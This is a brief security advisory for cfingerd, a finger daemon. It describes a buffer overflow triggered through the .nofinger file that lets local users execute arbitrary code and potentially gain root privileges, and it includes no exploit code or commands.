cfingerd is a secure implementation of the finger daemon. cfingerd has been contributed to by many authors, and is maintained by the cfingerd development team.

A buffer overflow in cfingerd makes it possible for a local user to gain elevated privileges. Due to insufficient validation of input, a user can execute arbitrary code through the .nofinger file.

This makes it possible for a local user to gain elevated privileges, and potentially root access.
